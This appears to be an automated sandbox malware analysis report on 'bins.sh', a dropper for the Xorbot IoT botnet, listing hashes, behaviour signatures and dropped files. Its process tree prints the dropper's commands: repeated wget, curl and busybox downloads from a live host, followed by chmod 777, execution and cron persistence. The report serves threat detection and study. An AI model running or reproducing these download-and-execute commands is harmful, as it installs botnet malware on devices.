Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    18-02-2025 06:38

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3b8f13c77b91143ded11816a83e96419

  • SHA1

    00dbeb3fd6f2a3dfbd0a62ca7a5ce0139a084080

  • SHA256

    b47ff68519a485ddb5bf1290c6da508b0ff3cf0da72c86f8be5f828c04f96d2a

  • SHA512

    a9303523d84c55af538abc57b0b413bae8be0a58f9f2cf854df9530f8384bf6c1eb54fe98aab0834b0042e680c682b030c14fd52213caf3c27945664578a0676

  • SSDEEP

    192:qzm/wl616t6wnbJ86yT0sza616t6wnH26yT0sz3:qzm/wl616t6wnt86yT0sza616t6wnW6w

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1579) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:639
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:641
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:642
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
        • Checks CPU configuration
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:671
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
        • System Network Configuration Discovery
        PID:682
      • /bin/chmod
        chmod 777 0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
        • File and Directory Permissions Modification
        PID:718
      • /tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        ./0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
        2⤵
          PID:719
        • /bin/rm
          rm 0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj
          2⤵
            PID:721
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:722
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:753
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
            • System Network Configuration Discovery
            PID:755
          • /bin/chmod
            chmod 777 Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
            • File and Directory Permissions Modification
            PID:756
          • /tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            ./Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
            2⤵
              PID:757
            • /bin/rm
              rm Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT
              2⤵
                PID:759
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:760
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                • Checks CPU configuration
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:761
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:765
              • /bin/chmod
                chmod 777 B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                • File and Directory Permissions Modification
                PID:766
              • /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                ./B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                2⤵
                  PID:767
                • /bin/rm
                  rm B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE
                  2⤵
                    PID:769
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:770
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:771
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                    • System Network Configuration Discovery
                    PID:773
                  • /bin/chmod
                    chmod 777 sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                    • File and Directory Permissions Modification
                    PID:774
                  • /tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    ./sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                    2⤵
                      PID:775
                    • /bin/rm
                      rm sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE
                      2⤵
                        PID:777
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:778
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • Checks CPU configuration
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:779
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • System Network Configuration Discovery
                        PID:781
                      • /bin/chmod
                        chmod 777 bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • File and Directory Permissions Modification
                        PID:782
                      • /tmp/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        ./bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                        2⤵
                        • Renames itself
                        • Reads runtime system information
                        PID:783
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:785
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:786
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:787
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  • Reads runtime system information
                                  PID:788
                            • /bin/rm
                              rm bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt
                              2⤵
                                PID:790
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/cR8g7mQo7cqv11L61BOzyoE1qJxDoLA0H4
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:793

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/0Qsvh3Z3LbAvBnsOwpKxdfyGo2oAjrqrsj

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/B1w1n3rCWWe0i5H1lKioZs771usKw3nNpE

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/Y1pzCIbnBBbqd5pYqo02Y8j7xBG93BcfsT

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/bTC7hiTfFeXMLxXcd9CWmuKNQv1dUjm7Jt

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/cR8g7mQo7cqv11L61BOzyoE1qJxDoLA0H4

                              Filesize

                              91KB

                              MD5

                              dc9b1c055388f5520170f883e771defa

                              SHA1

                              86793154bd4076992225054b62e9eeedbec3164c

                              SHA256

                              b871a950cb0b7302394969438bc6e1303394a33bdb980134a8a27119c076e21b

                              SHA512

                              208bef8f82b33e7234297ce41dc30077481b97f62f6a30ff21c07d40282b736482c6f18f3f44cde071d59fcb0ab32eeb06a9de8c1fef5636e85b36cfae0c32fd

                            • /tmp/sUGhL1LBcQC2LOr8ll2Wypo5dNiZ7BlkHE

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /var/spool/cron/crontabs/tmp.rcQV1Y

                              Filesize

                              210B

                              MD5

                              905c4be5bea734b8e3aba8e1cfc507a3

                              SHA1

                              3dff5262d838ff693628c3d8ed7332b02a4dfa61

                              SHA256

                              579c802ec72fa5892aeb8e6aad5fac244c39ece427bae85e06fab38692b4f3b6

                              SHA512

                              c0c14a5301c7216abddd74ce79e7061d2422b8066b940ef5d55e3d77ed04e675e589751e7309ed068c3858e65752900e3abcc98f2852bd6868656b29ed31594d